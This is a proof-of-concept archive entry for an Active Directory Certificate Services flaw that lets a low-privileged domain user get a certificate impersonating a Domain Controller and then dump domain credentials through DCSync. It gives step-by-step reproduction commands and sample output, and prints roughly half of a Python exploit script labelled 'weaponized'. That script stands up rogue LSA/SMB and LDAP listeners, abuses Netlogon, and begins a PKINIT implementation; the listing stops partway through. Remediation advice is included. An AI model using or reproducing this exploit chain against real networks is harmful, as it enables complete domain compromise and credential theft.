PoC Archive PoC Archive
CVE-2026-54121 category: network CVSS 8.8 (HIGH)
Patched

AD CS/AD FS Enrollment "cdc" Chase Attribute Abuse → Domain Controller Impersonation (CertiGhost, CVE-2026-54121)

Published: 2026-07-27 • Researcher: aniqfakhrul & H0j3n

Target software Microsoft Active Directory Certificate Services (AD CS) Enterprise CA, in environments where AD FS / certificate enrollment resolves DC identity via "chase" (cdc/rmd) request attributes
Affected versions Windows Server AD CS Enterprise CA builds prior to Microsoft's 2026-07-14 fix; templates whose msPKI-Certificate-Name-Flag includes a DNS-name subject flag (nameFlag & 0x58000000, e.g. the default Machine/DomainController-style templates) are exploitable
Status Weaponized
Severity High · CVSS 8.8
CVSS 8.8/10
Severity
High
CVE
CVE-2026-54121
Category
network
Affected product
Microsoft Active Directory Certificate Services (AD CS) Enterprise CA, in environments where AD FS / certificate enrollment resolves DC identity via "chase" (cdc/rmd) request attributes
Affected versions
Windows Server AD CS Enterprise CA builds prior to Microsoft's 2026-07-14 fix; templates whose msPKI-Certificate-Name-Flag includes a DNS-name subject flag (nameFlag & 0x58000000, e.g. the default Machine/DomainController-style templates) are exploitable
Disclosed
2026-07-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-07-27
Last Updated2026-07-24
Author / Researcheraniqfakhrul & H0j3n
CVE / AdvisoryCVE-2026-54121
Categorynetwork
SeverityHigh
CVSS Score8.8 (CVSSv3)
StatusWeaponized
Tagsactive-directory, adcs, certificate-services, dcsync, pkinit, kerberos, privilege-escalation, domain-controller-impersonation, windows
RelatedN/A

Affected Target

FieldValue
Software / SystemMicrosoft Active Directory Certificate Services (AD CS) Enterprise CA, in environments where AD FS / certificate enrollment resolves DC identity via “chase” (cdc/rmd) request attributes
Versions AffectedWindows Server AD CS Enterprise CA builds prior to Microsoft’s 2026-07-14 fix; templates whose msPKI-Certificate-Name-Flag includes a DNS-name subject flag (nameFlag & 0x58000000, e.g. the default Machine/DomainController-style templates) are exploitable
Language / PlatformWindows Server, Active Directory Certificate Services, Kerberos/PKINIT, LDAP/SMB (Netlogon)
Authentication RequiredYes — any authenticated low-privileged domain user (default AD “create computer objects” / self-join quota is sufficient)
Network Access RequiredYes — the attacker host must be reachable by the Enterprise CA over SMB (445) and LDAP (389)

Summary

CertiGhost (CVE-2026-54121) abuses a “chase” mechanism in AD CS certificate enrollment: when a certificate request carries a cdc (chase domain controller) attribute pointing at an attacker-controlled IP alongside an rmd (remote machine DNS) attribute naming a target machine, the Enterprise CA will connect back to that attacker-controlled host over SMB/LDAP to resolve the named machine’s identity (sAMAccountName, SID, dNSHostName) instead of querying a real, trusted source. A low-privileged domain user can stand up rogue LDAP/SMB listeners, request a machine certificate as a self-created computer account, set cdc to their own IP and rmd to a real Domain Controller’s DNS name, and have the CA issue a certificate for a computer object whose identity was fabricated by the attacker’s rogue listener — a certificate that authenticates as the Domain Controller itself. That certificate is then used with PKINIT to log on as the DC, extract its NT hash/PAC via a U2U ticket, and pivot to DCSync/krbtgt theft for full domain compromise.

Vulnerability Details

Root Cause

When an Enterprise CA processes a certificate request and needs to validate the requester’s claimed subject/SAN identity for templates that permit a DNS-name-derived subject (nameFlag & 0x58000000), it can be steered into performing a “chase” lookup: a request attribute named cdc tells the CA which host to query, and rmd tells it which machine name to ask about. The CA does not verify that the cdc target is a legitimate, trusted Domain Controller — it will happily connect to any attacker-supplied IP over SMB (for a Netlogon/LSA-style identity lookup) and LDAP (for a directory-style identity lookup), and trust whatever sAMAccountName/objectSid/dNSHostName that rogue endpoint returns. Because the requesting principal is validated via genuine Netlogon (NetrServerReqChallenge/NetrServerAuthenticate3/NetrLogonSamLogonWithFlags) against the real DC, the rogue listener’s responses describing the target identity are trusted by extension — allowing the attacker to substitute a Domain Controller’s identity for their own freshly created computer account’s identity in the resulting certificate.

Attack Vector

  1. As any authenticated low-privileged domain user, create (or reuse) a computer account (default machine-account quota permits self-service computer object creation via SAMR or LDAP).
  2. Stand up two rogue listeners on the attacker host: an SMB/LSA server on port 445 (impersonating a DC’s LSA policy/Netlogon responses) and a hand-rolled LDAP server on port 389 (impersonating rootDSE/directory lookups), authenticated using the newly created computer account’s own Netlogon secure channel against the real DC.
  3. Build and submit a CSR to the Enterprise CA’s ICertPassage RPC interface (\pipe\cert) as the created computer account, embedding request attributes CertificateTemplate:Machine, SAN:dns=<own-hostname>, cdc:<attacker-ip> (the rogue listener’s address), and rmd:<target-dc-dns-name> (the DC being impersonated).
  4. The CA connects back to the attacker’s rogue LSA/LDAP listeners on the advertised cdc address to resolve the identity of rmd. The rogue listeners answer with the target DC’s real sAMAccountName, objectSid, and dNSHostName instead of the requesting computer’s own identity.
  5. The CA issues a valid certificate bound to the Domain Controller’s identity, delivered back over the RPC channel as a PKCS#12 (.pfx).
  6. The attacker performs PKINIT authentication using the DC’s certificate to obtain a TGT as the DC, then uses a User-to-User (U2U) TGS request to obtain a service ticket encrypted with a key derivable from the PKINIT reply key, decrypts the embedded PAC, and extracts the DC computer account’s NT hash/credential material from the PAC_CREDENTIAL_INFO buffer — writing both a .ccache (TGT) and the NT hash to disk.
  7. With the DC’s NT hash and/or .ccache, the attacker performs DCSync to dump krbtgt and all domain credentials, achieving full domain compromise.

Impact

A single authenticated low-privileged domain account (no special AD rights required beyond default machine-account-quota self-join) can escalate to a valid certificate that authenticates as a Domain Controller, and from there to golden-ticket-grade compromise of the entire Active Directory forest via DCSync/krbtgt theft. This is a complete authentication-boundary bypass for any AD CS deployment where the affected chase mechanism is reachable — no phishing, no existing admin foothold, and no direct interaction with the target DC’s own credentials required.

Environment / Lab Setup

Output
Target:      Windows Server AD environment with an Enterprise CA (AD CS) issuing certificates
             from a template permitting DNS-name subjects (e.g. "Machine"), pre-2026-07-14 patch
Attacker:    Linux host with Python 3, Impacket, cryptography, asn1crypto, pycryptodome
             Must be network-reachable by the CA over SMB (445) and LDAP (389); requires root
             locally to bind those privileged ports
Domain:      Any authenticated low-privileged domain user account (default machine account
             quota sufficient to self-create a computer object)
Tools:       certighost.py (this folder) — mirrored unmodified from
             https://github.com/aniqfakhrul/CVE-2026-54121

Setup Steps

Shell script
1
2
3
pip install impacket cryptography asn1crypto pycryptodome dnspython

sudo python3 certighost.py -d playground.local -u lowpriv -p 'Password1234' --dc-ip 192.168.1.10

Proof of Concept

See certighost.py (full, unmodified) and upstream-README.md in this folder — mirrored from aniqfakhrul/CVE-2026-54121. Verified before ingestion: read the complete 987-line script end to end. It genuinely implements every stage of the documented chain from scratch — a NETLOGON secure-channel oracle (NLOracle) that authenticates NTLM challenge/response via real NetrServerReqChallenge/NetrServerAuthenticate3/NetrLogonSamLogonWithFlags calls against the real DC; a hand-rolled ASN.1/BER LDAP server (RogueLDAP) that handles SASL/GSS-SPNEGO NTLM bind and search requests including NTLMSSP sealing; a patched impacket.smbserver-based rogue SMB/LSA service (LSASrv) answering LsarOpenPolicy/LsarQueryInformationPolicy with fabricated domain/DC identity; a real ICertPassage (ICPR) RPC client that submits the CSR with the cdc/rmd request attributes over \pipe\cert; and a full from-scratch PKINIT implementation (Diffie-Hellman key exchange, CMS SignedData AuthPack signing, AS-REQ/AS-REP, then a genuine U2U TGS-REQ/TGS-REP round trip to decrypt the PAC and pull PAC_CREDENTIAL_INFO/NTLM_SUPPLEMENTAL_CREDENTIAL for the NT hash). This is not a stub or template — it is a complete, working exploitation chain, authored by aniqfakhrul, one of the two researchers who discovered and reported the underlying vulnerability to Microsoft.

Step-by-Step Reproduction

  1. Recon — Confirm the target Enterprise CA and a certificate template permitting DNS-name subjects (e.g. Machine) are reachable, and that the authenticated low-priv account can create a computer object (default machine account quota).

  2. Run the tool — invoke certighost.py as root, supplying low-priv domain credentials and the DC’s IP:

    Shell script
    1
    
    sudo python3 certighost.py -d playground.local -u lowpriv -p 'Password1234' --dc-ip 192.168.1.10
  3. Automatic chain execution — the script, unattended:

    Output
    [*] Connecting to LDAPS
    [*] Detecting infrastructure
    [*] Creating computer: GHOSTABCDEFGH$
    [*] Starting rogue servers (LSA:445 + LDAP:389)
    [*] Requesting certificate (template=Machine, cdc=<attacker-ip>)
        Saved: dc01.pfx
    [*] PKINIT as DC01$
    [*] Got hash for DC01$:
        DC01$:aad3b435b51404eeaad3b435b51404ee:<DC-machine-account-NT-hash>
        ccache: dc01$.ccache
    [*] GGWP
  4. Post-exploitation — use the DC’s NT hash / .ccache with secretsdump.py or impacket-secretsdump to DCSync the domain (krbtgt, Administrator, all user hashes), or use the .ccache directly with KRB5CCNAME for pass-the-ticket.

Exploit Code

See certighost.py in this folder for the complete implementation.

Python
1
2
3
attrs = [f"CertificateTemplate:{template}", f"SAN:dns={hostname}",
         f"cdc:{attacker_ip}", f"rmd:{rmd_value}"]
attr_bytes = checkNullString("\n".join(attrs)).encode("utf-16le")

Expected Output

Output
[*] Got hash for DC01$:
    DC01$:aad3b435b51404eeaad3b435b51404ee:9f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c
    ccache: dc01$.ccache
[*] GGWP

Detection & Indicators of Compromise

Output

Remediation

ActionDetail
PatchApply Microsoft’s fix, released 2026-07-14, addressing CVE-2026-54121.
WorkaroundDisable or restrict the cdc/chase-attribute enrollment mechanism where not required; restrict certificate templates with DNS-name subject flags (nameFlag & 0x58000000) to trusted principals only; deny low-privileged users the ability to self-create computer objects (reduce ms-DS-MachineAccountQuota to 0) as defense-in-depth.
Config HardeningEnforce certificate enrollment auditing (Event IDs 4886/4887) with alerting on templates whose issued subject doesn’t match the requesting principal’s own identity; segment/firewall the CA/DC so it cannot originate SMB/LDAP connections to general workstation IP ranges; apply standard AD CS hardening (disable ESC1/ESC8-style abuse vectors, enable Certificate Services role-based access review).

References

Notes

Verified before ingestion this session: the upstream repository (https://github.com/aniqfakhrul/CVE-2026-54121, 233 stars / 48 forks at time of review) was cloned directly and its full contents read — certighost.py (987 lines) and README.md. The script was confirmed to genuinely implement the documented CVE-2026-54121 mechanism end to end (rogue Netlogon-authenticated SMB/LSA and hand-rolled LDAP listeners, malicious cdc/rmd CSR attribute construction against the CA’s ICertPassage RPC interface, and a from-scratch PKINIT + U2U implementation for NT hash/PAC extraction) rather than being a stub, template, or phantom PoC. The file copied into this folder (certighost.py) is byte-for-byte identical to the upstream clone (verified via diff/md5sum) — no paraphrasing or rewriting was performed. The author, aniqfakhrul, is one of the two researchers (alongside H0j3n) credited with discovering and reporting this vulnerability to Microsoft on 2026-05-14, which was patched 2026-07-14 and the PoC publicly released 2026-07-24 (matching the upstream repo’s last commit date). No requirements.txt or LICENSE file exists in the upstream repository, so none is mirrored here; the companion upstream-README.md is copied for attribution. As of this archive entry’s creation (2026-07-27), CVE-2026-54121 is not listed in the CISA KEV catalog and there is no confirmed in-the-wild exploitation.

certighost.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
#!/usr/bin/env python3
# CertiGhost - cdc-redirect chain PoC
# Authors: @h0j3n, @aniqfakhrul
#
# python3 certighost.py -d <domain> -u <user> -p <pass> --dc-ip <ip>
import argparse, calendar, logging, os, random, secrets, signal
import socket, string, struct, sys, threading, time
from binascii import unhexlify
from datetime import datetime, timedelta, timezone
from pathlib import Path
from random import getrandbits

from impacket import ntlm, smbserver, uuid
from impacket.dcerpc.v5 import epm, lsad, nrpc, rpcrt, samr, transport
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, NULL, PBYTE, RPC_SID, ULONG
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.nrpc import checkNullString
from impacket.dcerpc.v5.rpcrt import (
    DCERPCServer, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, TypeSerialization1,
)
from impacket.krb5 import constants
from impacket.krb5.asn1 import (
    AD_IF_RELEVANT, AP_REQ, AS_REP, TGS_REP, TGS_REQ,
    Authenticator, EncASRepPart, EncTicketPart,
    Ticket as TicketAsn1, seq_set, seq_set_iter,
)
from impacket.krb5.ccache import CCache
from impacket.krb5.crypto import Key, _enctype_table
from impacket.krb5.kerberosv5 import sendReceive
from impacket.krb5.pac import (
    NTLM_SUPPLEMENTAL_CREDENTIAL, PAC_CREDENTIAL_DATA,
    PAC_CREDENTIAL_INFO, PAC_INFO_BUFFER, PACTYPE,
)
from impacket.krb5.types import KerberosTime, Principal, Ticket
from impacket.uuid import uuidtup_to_bin
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue

from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding, rsa as rsa_mod
from cryptography.hazmat.primitives.serialization import Encoding, NoEncryption, pkcs12
from cryptography.x509.oid import NameOID

from asn1crypto import algos as asn1algos, cms as asn1cms, core
from asn1crypto import keys as asn1keys, x509 as asn1x509

from Cryptodome.Cipher import ARC4
from Cryptodome.Hash import MD4

from impacket.ldap import ldap as impacket_ldap
from impacket.ldap.ldapasn1 import Scope


TAG = "explicit"
APPLICATION = 1

DH_P = int(
    "00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea6"
    "3b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e4"
    "85b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b"
    "1fe649286651ece65381ffffffffffffffff", 16)
DH_G = 2


def bin2sid(r):
    rev, n = struct.unpack(">BB", r[:2])
    auth = struct.unpack(">Q", b"\x00\x00" + r[2:8])[0]
    return f"S-{rev}-{auth}-" + "-".join(str(struct.unpack("<I", r[8+i*4:12+i*4])[0]) for i in range(n))

def dns2dn(d): return ",".join(f"DC={p}" for p in d.split("."))
def dns2nb(d): return d.split(".")[0].upper()
def compute_nthash(pw): return MD4.new(pw.encode("utf-16-le")).hexdigest()
def hdigest(data, algo):
    d = hashes.Hash(algo()); d.update(data); return d.finalize()

def _bl(n):
    if n < 0x80: return bytes([n])
    o = b""
    while n: o = bytes([n & 0xFF]) + o; n >>= 8
    return bytes([0x80 | len(o)]) + o

def _bi(n):
    if n == 0: return b"\x02\x01\x00"
    o = b""
    while n: o = bytes([n & 0xFF]) + o; n >>= 8
    if o[0] & 0x80: o = b"\x00" + o
    return b"\x02" + _bl(len(o)) + o

def _bo(d):
    if isinstance(d, str): d = d.encode()
    return b"\x04" + _bl(len(d)) + d

def _bs(i): return b"\x30" + _bl(len(i)) + i
def _bst(i): return b"\x31" + _bl(len(i)) + i
def _be(n): return b"\x0a\x01" + bytes([n])

def _lm(mid, tag, p): return _bs(_bi(mid) + bytes([tag]) + _bl(len(p)) + p)
def _lbr(mid, rc=0, cr=None):
    i = _be(rc) + _bo("") + _bo("")
    if cr: i += b"\x87" + _bl(len(cr)) + cr
    return _lm(mid, 0x61, i)

def _lse(mid, dn, attrs):
    al = b""
    for k, vs in attrs.items():
        ve = b""
        for v in vs: ve += _bo(v if isinstance(v, bytes) else v.encode())
        al += _bs(_bo(k) + _bst(ve))
    return _lm(mid, 0x64, _bo(dn) + _bs(al))

def _lsd(mid, rc=0): return _lm(mid, 0x65, _be(rc) + _bo("") + _bo(""))

def _dl(d, o):
    f = d[o]; o += 1
    if f < 0x80: return f, o
    nb = f & 0x7F; l = 0
    for i in range(nb): l = (l << 8) | d[o + i]
    return l, o + nb

def _plh(d):
    _, o = _dl(d, 1); il, o = _dl(d, o + 1)
    mid = int.from_bytes(d[o:o + il], "big"); o += il
    tag = d[o]; pl, o = _dl(d, o + 1)
    return mid, tag, d[o:o + pl]

def _challenge():
    c = ntlm.NTLMAuthChallenge()
    fl = (ntlm.NTLMSSP_NEGOTIATE_UNICODE | ntlm.NTLM_NEGOTIATE_OEM | ntlm.NTLMSSP_NEGOTIATE_NTLM |
          ntlm.NTLMSSP_NEGOTIATE_TARGET_INFO | ntlm.NTLMSSP_TARGET_TYPE_DOMAIN |
          ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY |
          ntlm.NTLMSSP_REQUEST_TARGET | ntlm.NTLMSSP_NEGOTIATE_56 |
          ntlm.NTLMSSP_NEGOTIATE_128 | ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH)
    return fl, c

def build_challenge(dnb, ddns, hnb, hdns, chal):
    fl, c = _challenge()
    c["flags"] = fl; c["challenge"] = chal
    db = dnb.encode("utf-16-le")
    c["domain_name"] = db; c["domain_len"] = len(db); c["domain_max_len"] = len(db); c["domain_offset"] = 56
    av = ntlm.AV_PAIRS()
    av[ntlm.NTLMSSP_AV_DOMAINNAME] = dnb.encode("utf-16-le")
    av[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] = ddns.encode("utf-16-le")
    av[ntlm.NTLMSSP_AV_HOSTNAME] = hnb.encode("utf-16-le")
    av[ntlm.NTLMSSP_AV_DNS_HOSTNAME] = hdns.encode("utf-16-le")
    av[ntlm.NTLMSSP_AV_TIME] = struct.pack("<q", 116444736000000000 + calendar.timegm(time.gmtime()) * 10000000)
    c["TargetInfoFields"] = av; c["TargetInfoFields_len"] = len(av)
    c["TargetInfoFields_max_len"] = len(av); c["TargetInfoFields_offset"] = 56 + len(db)
    c["Version"] = b"\x0a\x00\x00\x00\x00\x00\x00\x0f"; c["VersionLen"] = 8
    return c.getData()

def truncate_key(value, ksz):
    out = b""; n = 0
    while len(out) < ksz:
        cd = hdigest(bytes([n]) + value, hashes.SHA1)
        if len(out) + len(cd) > ksz: out += cd[:ksz - len(out)]; break
        out += cd; n += 1
    return out

def e2i(v):
    if isinstance(v, int): return v
    try: return int(v)
    except: return v.value if hasattr(v, 'value') else int(str(v))

def dns_resolve(hostname, nameserver):
    try:
        import dns.resolver
        r = dns.resolver.Resolver(configure=False)
        r.nameservers = [nameserver]
        r.timeout = 5; r.lifetime = 5
        return str(r.resolve(hostname, "A")[0])
    except: return None

def detect_ip(dc_ip):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.settimeout(2)
        s.connect((dc_ip, 445)); ip = s.getsockname()[0]; s.close(); return ip
    except: return None

def ldap_connect(dc_ip, domain, username, password, lmhash, nthash, base_dn, use_ldap=False):
    scheme = "ldap" if use_ldap else "ldaps"
    try:
        conn = impacket_ldap.LDAPConnection(f"{scheme}://{dc_ip}", base_dn, dc_ip)
        conn.login(username, password, domain, lmhash, nthash)
        return conn
    except Exception:
        if not use_ldap:
            try:
                conn = impacket_ldap.LDAPConnection(f"ldap://{dc_ip}", base_dn, dc_ip)
                conn.login(username, password, domain, lmhash, nthash)
                return conn
            except Exception:
                pass
    return None

def ldap_query(conn, base, filt, attrs, scope=None):
    sc = scope or Scope('wholeSubtree')
    try: results = conn.search(searchBase=base, searchFilter=filt, attributes=attrs, scope=sc)
    except Exception: return []
    entries = []
    for item in results:
        if not hasattr(item, 'getComponentByName'): continue
        try: item['objectName']
        except: continue
        entry = {}
        for attr in item['attributes']:
            key = str(attr['type'])
            vals = [bytes(v) for v in attr['vals']]
            if len(vals) == 1:
                try: entry[key] = vals[0].decode('utf-8')
                except: entry[key] = vals[0]
            else:
                entry[key] = vals
        entries.append(entry)
    return entries

def ldap_query_one(conn, base, filt, attrs):
    entries = ldap_query(conn, base, filt, attrs)
    return entries[0] if entries else None


class NLOracle:
    def __init__(self, dcip, cname, chash, cdom):
        self.dcip, self.cname, self.chash = dcip, cname, unhexlify(chash)
        self.cdom = cdom; self.name = cname.rstrip("$"); self.dce = self.auth = None

    def setup(self):
        b = epm.hept_map(self.dcip, nrpc.MSRPC_UUID_NRPC,
                         dataRepresentation=rpcrt.DCERPC.NDRSyntax, protocol='ncacn_ip_tcp')
        t = transport.DCERPCTransportFactory(b); d = t.get_dce_rpc(); d.connect()
        syn = uuid.bin_to_uuidtup(rpcrt.DCERPC.NDRSyntax)
        d.bind(nrpc.MSRPC_UUID_NRPC, transfer_syntax=syn)
        cc = os.urandom(8)
        r = nrpc.hNetrServerReqChallenge(d, "", self.name + "\x00", cc)
        sk = nrpc.ComputeSessionKeyStrongKey(None, cc, r["ServerChallenge"], self.chash)
        cr = nrpc.ComputeNetlogonCredential(cc, sk)
        nrpc.hNetrServerAuthenticate3(d, "\x00", self.cname + "\x00",
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
            self.name + "\x00", cr, 0x600FFFFF)
        d.set_credentials(self.cname, "", self.cdom)
        d.set_auth_type(rpcrt.RPC_C_AUTHN_NETLOGON)
        d.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
        d.bind(nrpc.MSRPC_UUID_NRPC, alter=1, transfer_syntax=syn)
        a = nrpc.ComputeNetlogonAuthenticator(cr, sk)
        d.set_session_key(sk)
        resp = nrpc.hNetrLogonGetCapabilities(d, "", self.name, a)
        self.auth = resp['ReturnAuthenticator']; self.dce = d

    def validate(self, blob, challenge):
        am = ntlm.NTLMAuthChallengeResponse(); am.fromString(blob)
        r = nrpc.NetrLogonSamLogonWithFlags()
        r["LogonServer"] = "\x00"; r["ComputerName"] = self.name + "\x00"
        r["ValidationLevel"] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
        r["LogonLevel"] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        r["LogonInformation"]["tag"] = r["LogonLevel"]
        ident = r["LogonInformation"]["LogonNetworkTransitive"]["Identity"]
        ident["LogonDomainName"] = am["domain_name"].decode("utf-16le")
        ident["ParameterControl"] = 2**11
        ident["UserName"] = am["user_name"].decode("utf-16le"); ident["Workstation"] = ""
        r["LogonInformation"]["LogonNetworkTransitive"]["LmChallenge"] = challenge
        r["LogonInformation"]["LogonNetworkTransitive"]["NtChallengeResponse"] = am["ntlm"]
        r["LogonInformation"]["LogonNetworkTransitive"]["LmChallengeResponse"] = am["lanman"]
        r["Authenticator"] = self.auth
        r["ReturnAuthenticator"]["Credential"] = b"\x00"*8
        r["ReturnAuthenticator"]["Timestamp"] = 0; r["ExtraFlags"] = 0
        resp = self.dce.request(r)
        sk = ntlm.generateEncryptedSessionKey(
            resp["ValidationInformation"]["ValidationSam4"]["UserSessionKey"], am["session_key"])
        return sk, resp["ErrorCode"], am["flags"]


def _patch_smb():
    S = smbserver.SimpleSMBServer
    if not hasattr(S, "setComputerAccount"):
        def _sca(self, **kw):
            c = self._SimpleSMBServer__smbConfig
            c.set("global", "server_name", kw["computer_account_name"][:-1])
            c.set("global", "server_domain", kw["computer_account_domain"])
            for k in ("computer_account_name","computer_account_hash","computer_account_aes",
                       "computer_account_password","computer_account_domain"):
                c.set("global", k, kw.get(k, "") or "")
            c.set("global", "dcip", kw["dcip"])
            self._SimpleSMBServer__server.setServerConfig(c)
            self._SimpleSMBServer__server.processConfigFile()
        S.setComputerAccount = lambda self, **kw: _sca(self, **kw)
    if not hasattr(S, "getServer"):
        S.getServer = lambda self: self._SimpleSMBServer__server
_patch_smb()


class LSASrv(DCERPCServer):
    UUID = ("12345778-1234-ABCD-EF00-0123456789AB", "0.0")
    def __init__(self, nb, dns, forest, guid_le, sid_s):
        DCERPCServer.__init__(self)
        self._h = b"\x00"*4 + b"LSA!" + b"\xde\xad\xbe\xef"*2
        self._nb, self._dns, self._forest, self._g, self._sid = nb, dns, forest, guid_le, sid_s
        self.addCallbacks(self.UUID, "\\PIPE\\lsarpc",
            {0:self._cl, 6:self._op, 7:self._q, 44:self._op2, 46:self._q2})
    def _u(self, s): u = lsad.RPC_UNICODE_STRING(); u["Data"] = s; return u
    def _s(self):  s = RPC_SID(); s.fromCanonical(self._sid); return s
    def _di(self):
        i = lsad.LSAPR_POLICY_DNS_DOMAIN_INFO(); i["Name"] = self._u(self._nb)
        i["DnsDomainName"] = self._u(self._dns); i["DnsForestName"] = self._u(self._forest)
        i["DomainGuid"] = self._g; i["Sid"] = self._s(); return i
    def _cl(self, d):
        r = lsad.LsarCloseResponse(); r["PolicyHandle"] = b"\x00"*20; r["ErrorCode"] = 0; return r.getData()
    def _op(self, d):
        r = lsad.LsarOpenPolicyResponse(); r["PolicyHandle"] = self._h; r["ErrorCode"] = 0; return r.getData()
    def _op2(self, d):
        r = lsad.LsarOpenPolicy2Response(); r["PolicyHandle"] = self._h; r["ErrorCode"] = 0; return r.getData()
    def _qd(self, d, cls):
        try: req = lsad.LsarQueryInformationPolicy(d); lv = int(req["InformationClass"])
        except: lv = 12
        r = cls(); info = lsad.LSAPR_POLICY_INFORMATION()
        if lv in (12, 13):
            info["tag"] = lv; info["PolicyDnsDomainInfo" if lv == 12 else "PolicyDnsDomainInfoInt"] = self._di()
        elif lv in (5, 14):
            info["tag"] = lv; ai = lsad.LSAPR_POLICY_ACCOUNT_DOM_INFO()
            ai["DomainName"] = self._u(self._nb); ai["DomainSid"] = self._s()
            info["PolicyAccountDomainInfo" if lv == 5 else "PolicyLocalAccountDomainInfo"] = ai
        elif lv == 3:
            info["tag"] = 3; pi = lsad.LSAPR_POLICY_PRIMARY_DOM_INFO()
            pi["Name"] = self._u(self._nb); pi["Sid"] = self._s(); info["PolicyPrimaryDomainInfo"] = pi
        elif lv == 6:
            info["tag"] = 6; ri = lsad.POLICY_LSA_SERVER_ROLE_INFO(); ri["LsaServerRole"] = 3
            info["PolicyServerRoleInfo"] = ri
        else:
            r["PolicyInformation"] = NULL; r["ErrorCode"] = 0xC0000022; return r.getData()
        r["PolicyInformation"] = info; r["ErrorCode"] = 0; return r.getData()
    def _q(self, d): return self._qd(d, lsad.LsarQueryInformationPolicyResponse)
    def _q2(self, d): return self._qd(d, lsad.LsarQueryInformationPolicy2Response)

def run_lsa(bind, port, nb, dns, forest, guid_le, sid_s, cname, chash, cpass, cdom, dcip):
    smb = smbserver.SimpleSMBServer(listenAddress=bind, listenPort=port)
    smb.setSMB2Support(True); smb.setLogFile("")
    smb.setComputerAccount(computer_account_name=cname, computer_account_hash=chash,
        computer_account_aes="", computer_account_password=cpass,
        computer_account_domain=cdom, dcip=dcip)
    cfg = smb._SimpleSMBServer__smbConfig
    cfg.set("global", "server_os", "Windows Server 2022 Standard")
    smb.getServer().setServerConfig(cfg); smb.getServer().processConfigFile()
    lsa = LSASrv(nb, dns, forest, guid_le, sid_s); lsa.daemon = True; lsa.start()
    smb.registerNamedPipe("lsarpc", ("127.0.0.1", lsa.getListenPort()))
    smb.start()


class ConnState:
    def __init__(self):
        self.fl = 0; self.ss = self.ce = self.se = None
        self.sseq = 0; self.sealed = False; self.chal = b""
    def arm(self, sk, fl):
        self.fl = fl
        self.ss = ntlm.SIGNKEY(fl, sk, "Server")
        self.ce = ARC4.new(ntlm.SEALKEY(fl, sk, "Client"))
        self.se = ARC4.new(ntlm.SEALKEY(fl, sk, "Server")); self.sealed = True

class RogueLDAP:
    def __init__(self, ddns, dnb, cname, chash, cdom, dcip, tsid_bin, edns, ecn, esam):
        self.ddns, self.dnb, self.dn = ddns, dnb, dns2dn(ddns)
        self.cname, self.chash, self.cdom, self.dcip = cname, chash, cdom, dcip
        self.tsid, self.edns, self.ecn, self.esam = tsid_bin, edns, ecn, esam
        self._hnb = cname.rstrip("$"); self._hdns = f"{self._hnb}.{ddns}"

    def _rootdse(self):
        return {"defaultNamingContext":[self.dn], "rootDomainNamingContext":[self.dn],
                "configurationNamingContext":[f"CN=Configuration,{self.dn}"],
                "schemaNamingContext":[f"CN=Schema,CN=Configuration,{self.dn}"],
                "namingContexts":[self.dn, f"CN=Configuration,{self.dn}",
                                  f"CN=Schema,CN=Configuration,{self.dn}"],
                "dnsHostName":[self._hdns],
                "ldapServiceName":[f"{self.ddns}:{self._hnb.lower()}$@{self.ddns.upper()}"],
